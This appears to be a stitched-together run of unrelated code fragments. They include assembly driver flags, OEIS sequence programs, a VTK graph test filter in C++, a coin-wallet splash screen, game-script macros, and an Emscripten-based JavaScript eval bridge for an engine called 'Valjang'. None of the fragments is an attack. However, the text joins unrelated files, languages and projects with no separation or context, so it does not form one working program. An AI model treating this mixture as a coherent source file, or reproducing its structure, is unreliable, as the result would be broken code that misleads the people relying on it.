PPI_SBC .EQU FALSE ; PIO: ENABLE PARALLEL PORT DRIVER FOR 8255 CHIP ; UFENABLE .EQU FALSE ; UF: ENABLE ECB USB FIFO DRIVER (UF.ASM) ; SN76489ENABLE .EQU FALSE ; SN76489 SOUND DRIVER AY38910ENABLE .EQU FALSE ; AY: AY-3-8910 / YM2149 SOUND DRIVER SPKENABLE .EQU FALSE ; SPK: ENABLE RTC LATCH IOBIT SOUND DRIVER (SPK.ASM)
; A347671: a(n) = n^n mod 100. ; Submitted by Jon Maiga ; 1,1,4,27,56,25,56,43,16,89,0,11,56,53,16,75,16,77,24,79,0,21,84,67,76,25,76,3,36,69,0,31,76,13,36,75,36,17,4,59,0,41,64,7,96,25,96,63,56,49,0,51,96,73,56,75,56,57,84,39,0,61,44,47,16,25,16,23 pow $0,$0 mod $0,100
; A052153: Rhombi (in 3 different orientations) in a rhombus with 60-degree acute angles. ; 1,9,26,54,95,151,224,316,429,565,726,914,1131,1379,1660,1976,2329,2721,3154,3630,4151,4719,5336,6004,6725,7501,8334,9226,10179,11195,12276,13424,14641,15929,17290,18726,20239,21831,23504,25260,27101,29029,31046,33154,35355,37651,40044,42536,45129,47825,50626,53534,56551,59679,62920,66276,69749,73341,77054,80890,84851,88939,93156,97504,101985,106601,111354,116246,121279,126455,131776,137244,142861,148629,154550,160626,166859,173251,179804,186520,193401,200449,207666,215054,222615,230351,238264,246356,254629,263085,271726,280554,289571,298779,308180,317776,327569,337561,347754,358150 add $0,1 lpb $0 add $2,$0 sub $0,1 add $1,$2 add $2,4 lpe mov $0,$1
; A210101: Number of (n+1) X 3 0..2 arrays with every 2 X 2 subblock having one or three distinct values, and new values 0..2 introduced in row major order. ; Submitted by Jamie Morken(s1) ; 30,225,1690,12725,95830,721705,5435250,40933565,308275950,2321665905,17484765130,131680019525,991699197190,7468614458425,56247097997730,423604143817805,3190217398715550,24025938366280065,180942438158822650,1362700820576878805,10262675496673442230,77289531759021610825,582077424299845044690,4383700097135001756125,33014210377144392471630,248634273028550754325905,1872496752708432850167850,14102014361073232968478565,106204087538346362180021350,799836670212717467134063705,6023673041642407718658531330 add $0,1 mov $3,1 lpb $0 sub $0,1 add $1,$2 add $3,$1 mov $2,$3 mul $2,2 add $3,$1 mov $1,$2 add $1,$3 add $1,4 add $3,1 lpe mov $0,$1 sub $0,1 mul $0,5
; A212501: Number of (w,x,y,z) with all terms in {1,...,n} and w > x < y >= z. ; 0,0,2,13,45,115,245,462,798,1290,1980,2915,4147,5733,7735,10220,13260,16932,21318,26505,32585,39655,47817,57178,67850,79950,93600,108927,126063,145145,166315,189720,215512,243848,274890,308805 mov $2,$0 lpb $0,1 sub $0,1 lpb $0,1 sub $0,1 add $4,$2 add $2,1 add $3,$4 add $1,$3 lpe lpe
#include "vtkTestGraphAlgorithmFilter.h" #include <vtkObjectFactory.h> #include <vtkStreamingDemandDrivenPipeline.h> #include <vtkInformationVector.h> #include <vtkInformation.h> #include <vtkDataObject.h> #include <vtkSmartPointer.h> #include <vtkMutableUndirectedGraph.h> #include <vtkMutableDirectedGraph.h> #include <vtkMutableGraphHelper.h> vtkStandardNewMacro(vtkTestGraphAlgorithmFilter); int vtkTestGraphAlgorithmFilter::RequestData(vtkInformation *vtkNotUsed(request), vtkInformationVector **inputVector, vtkInformationVector *outputVector) { // get the info objects vtkInformation *inInfo = inputVector[0]->GetInformationObject(0); vtkInformation *outInfo = outputVector->GetInformationObject(0); // get the input and ouptut vtkGraph *input = vtkGraph::SafeDownCast( inInfo->Get(vtkDataObject::DATA_OBJECT())); vtkGraph *output = vtkGraph::SafeDownCast( outInfo->Get(vtkDataObject::DATA_OBJECT())); vtkSmartPointer<vtkMutableDirectedGraph> mdg = vtkSmartPointer<vtkMutableDirectedGraph>::New(); vtkSmartPointer<vtkMutableUndirectedGraph> mug = vtkSmartPointer<vtkMutableUndirectedGraph>::New(); if(input->IsA("vtkMutableUndirectedGraph")) { vtkSmartPointer<vtkMutableUndirectedGraph> ug = vtkSmartPointer<vtkMutableUndirectedGraph>::New(); ug->AddVertex(); output->ShallowCopy(ug); } else if(input->IsA("vtkMutableDirectedGraph")) { vtkSmartPointer<vtkMutableDirectedGraph> dg = vtkSmartPointer<vtkMutableDirectedGraph>::New(); dg->AddVertex(); output->ShallowCopy(dg); } std::cout << "Output is type: " << output->GetClassName() << std::endl; return 1; }
// Copyright (c) 2011-2013 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "splashscreen.h" #include "clientversion.h" #include "util.h" #include <QPainter> #undef loop /* ugh, remove this when the #define loop is gone from util.h */ #include <QApplication> SplashScreen::SplashScreen(const QPixmap &pixmap, Qt::WindowFlags f) : QSplashScreen(pixmap, f) { // set reference point, paddings int paddingLeftCol2 = 230; int paddingTopCol2 = 376; int line1 = 0; int line2 = 13; int line3 = 26; float fontFactor = 1.0; // define text to place QString titleText = QString(QApplication::applicationName()).replace(QString("-testnet"), QString(""), Qt::CaseSensitive); // cut of testnet, place it as single object further down QString versionText = QString("Version %1 ").arg(QString::fromStdString(FormatFullVersion())); QString copyrightText1 = QChar(0xA9)+QString(" 2009-%1 ").arg(COPYRIGHT_YEAR) + QString(tr("The Bitcoin developers")); QString copyrightText2 = QChar(0xA9)+QString(" 2011-%1 ").arg(COPYRIGHT_YEAR) + QString(tr("The Cobilcoin developers")); QString font = "Arial"; // load the bitmap for writing some text over it QPixmap newPixmap; if(GetBoolArg("-testnet")) { newPixmap = QPixmap(":/images/splash_testnet"); } else { newPixmap = QPixmap(":/images/splash"); } QPainter pixPaint(&newPixmap); pixPaint.setPen(QColor(70,70,70)); pixPaint.setFont(QFont(font, 9*fontFactor)); pixPaint.drawText(paddingLeftCol2,paddingTopCol2+line3,versionText); // draw copyright stuff pixPaint.setFont(QFont(font, 9*fontFactor)); pixPaint.drawText(paddingLeftCol2,paddingTopCol2+line1,copyrightText1); pixPaint.drawText(paddingLeftCol2,paddingTopCol2+line2,copyrightText2); pixPaint.end(); this->setPixmap(newPixmap); }
.macro FL_JUMP,jump_address .byte 0x01 .word jump_address .endmacro .macro FL_JUMP_IF_PROGRESS_BETWEEN,progress_low,progress_high,jump_address .byte 0x02, progress_low, progress_high .word jump_address .endmacro .macro FL_JUMP_IF_FLAG_NOT_ON,flag,jump_address .byte 0x05, 0xFF .halfword flag .word jump_address .endmacro .macro FL_JUMP_IF_PREVIOUS_BATTLE_OUTCOME_NOT_EQUAL,battle_outcome,jump_address .byte 0x0B, battle_outcome .word jump_address .endmacro .macro FL_START_CUTSCENE,cutscene_offset,parameter .byte 0x26 .word cutscene_offset .word parameter .endmacro ;eof
; A093417: Row sums of A093415. ; Submitted by Jon Maiga ; 1,2,5,7,9,15,21,22,28,40,37,57,58,55,85,100,83,126,112,113,151,187,149,194,214,204,230,301,202,345,341,292,373,340,327,495,469,413,448,610,414,672,595,481,694,805,597,786,715,718,842,1027,751,877,918,902 add $0,2 mov $2,$0 lpb $0 mov $3,$2 gcd $3,$0 mov $4,$0 sub $0,1 add $2,1 div $4,$3 add $1,$4 lpe mov $0,$1 sub $0,1
; A131768: 2*(A007318 * A097807) - A000012. ; 1,3,1,5,5,1,7,11,7,1,9,19,19,9,1,11,29,39,29,11,1,13,41,69,69,41,13,1,15,55,111,139,111,55,15,1,17,71,167,251,251,167,71,17,1,19,89,239,419,503,419,239,89,19,1 mov $1,2 lpb $0 add $0,1 add $1,1 sub $0,$1 lpe bin $1,$0 sub $1,1 mul $1,2 add $1,1 mov $0,$1
/*************************************************************************/ /* javascript_eval.cpp */ /*************************************************************************/ /* This file is part of: */ /* Valjang Engine */ /* http://Valjang.fr */ /*************************************************************************/ /* Copyright (c) 2007-2020 Valjang. */ /* Copyright (c) 2014-2020 Valjang Engine contributors (cf. AUTHORS.md). */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #ifdef JAVASCRIPT_EVAL_ENABLED #include "api/javascript_eval.h" #include "emscripten.h" extern "C" EMSCRIPTEN_KEEPALIVE uint8_t *resize_PackedByteArray_and_open_write(PackedByteArray *p_arr, VectorWriteProxy<uint8_t> *r_write, int p_len) { p_arr->resize(p_len); *r_write = p_arr->write; return p_arr->ptrw(); } Variant JavaScript::eval(const String &p_code, bool p_use_global_exec_context) { union { bool b; double d; char *s; } js_data; PackedByteArray arr; VectorWriteProxy<uint8_t> arr_write; /* clang-format off */ Variant::Type return_type = static_cast<Variant::Type>(EM_ASM_INT({ const CODE = $0; const USE_GLOBAL_EXEC_CONTEXT = $1; const PTR = $2; const BYTEARRAY_PTR = $3; const BYTEARRAY_WRITE_PTR = $4; var eval_ret; try { if (USE_GLOBAL_EXEC_CONTEXT) { // indirect eval call grants global execution context var global_eval = eval; eval_ret = global_eval(UTF8ToString(CODE)); } else { eval_ret = eval(UTF8ToString(CODE)); } } catch (e) { err(e); eval_ret = null; } switch (typeof eval_ret) { case 'boolean': setValue(PTR, eval_ret, 'i32'); return 1; // BOOL case 'number': setValue(PTR, eval_ret, 'double'); return 3; // FLOAT case 'string': var array_len = lengthBytesUTF8(eval_ret)+1; var array_ptr = _malloc(array_len); try { if (array_ptr===0) { throw new Error('String allocation failed (probably out of memory)'); } setValue(PTR, array_ptr , '*'); stringToUTF8(eval_ret, array_ptr, array_len); return 4; // STRING } catch (e) { if (array_ptr!==0) { _free(array_ptr) } err(e); // fall through } break; case 'object': if (eval_ret === null) { break; } if (ArrayBuffer.isView(eval_ret) && !(eval_ret instanceof Uint8Array)) { eval_ret = new Uint8Array(eval_ret.buffer); } else if (eval_ret instanceof ArrayBuffer) { eval_ret = new Uint8Array(eval_ret); } if (eval_ret instanceof Uint8Array) { var bytes_ptr = ccall('resize_PackedByteArray_and_open_write', 'number', ['number', 'number' ,'number'], [BYTEARRAY_PTR, BYTEARRAY_WRITE_PTR, eval_ret.length]); HEAPU8.set(eval_ret, bytes_ptr); return 20; // PACKED_BYTE_ARRAY } break; } return 0; // NIL }, p_code.utf8().get_data(), p_use_global_exec_context, &js_data, &arr, &arr_write)); /* clang-format on */ switch (return_type) { case Variant::BOOL: return js_data.b; case Variant::FLOAT: return js_data.d; case Variant::STRING: { String str = String::utf8(js_data.s); /* clang-format off */ EM_ASM_({ _free($0); }, js_data.s); /* clang-format on */ return str; } case Variant::PACKED_BYTE_ARRAY: arr_write = VectorWriteProxy<uint8_t>(); return arr; default: return Variant(); } } #endif // JAVASCRIPT_EVAL_ENABLED
; A006368: The "amusical permutation" of the nonnegative numbers: a(2n)=3n, a(4n+1)=3n+1, a(4n-1)=3n-1. ; 0,1,3,2,6,4,9,5,12,7,15,8,18,10,21,11,24,13,27,14,30,16,33,17,36,19,39,20,42,22,45,23,48,25,51,26,54,28,57,29,60,31,63,32,66,34,69,35,72,37,75,38,78,40,81,41,84,43,87,44,90,46,93,47,96,49,99,50,102,52,105,53,108,55,111,56,114,58,117,59,120,61,123,62,126,64,129,65,132,67,135,68,138,70,141,71,144,73,147,74 mov $1,$0 gcd $0,2 mul $0,$1 mul $0,6 add $0,10 div $0,8 sub $0,1
; A003314: Binary entropy function: a(1)=0; for n > 1, a(n) = n + min { a(k)+a(n-k) : 1 <= k <= n-1 }. ; 0,2,5,8,12,16,20,24,29,34,39,44,49,54,59,64,70,76,82,88,94,100,106,112,118,124,130,136,142,148,154,160,167,174,181,188,195,202,209,216,223,230,237,244,251,258,265,272,279,286,293,300,307,314,321,328,335,342,349,356,363,370,377,384,392,400,408,416,424,432,440,448,456,464,472,480,488,496,504,512,520,528,536,544,552,560,568,576,584,592,600,608,616,624,632,640,648,656,664,672 mov $1,$0 lpb $1 add $2,$1 mul $1,2 sub $1,1 trn $1,$0 lpe add $0,$2
; A010098: a(n) = a(n-1)*a(n-2) with a(0)=1, a(1)=3. ; 1,3,3,9,27,243,6561,1594323,10460353203,16677181699666569,174449211009120179071170507,2909321189362570808630465826492242446680483,507528786056415600719754159741696356908742250191663887263627442114881,1476564251485392778927857721313837180933869708288569663932077079002031653266328641356763872492873429131586567523,749398862090681353071284597870516265953875039877373353428577266892654567401130296619522906111175584110967066302516280889582519695554369095875240606023638546028382510714562629609763 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mov $1,3 pow $1,$0 mov $0,$1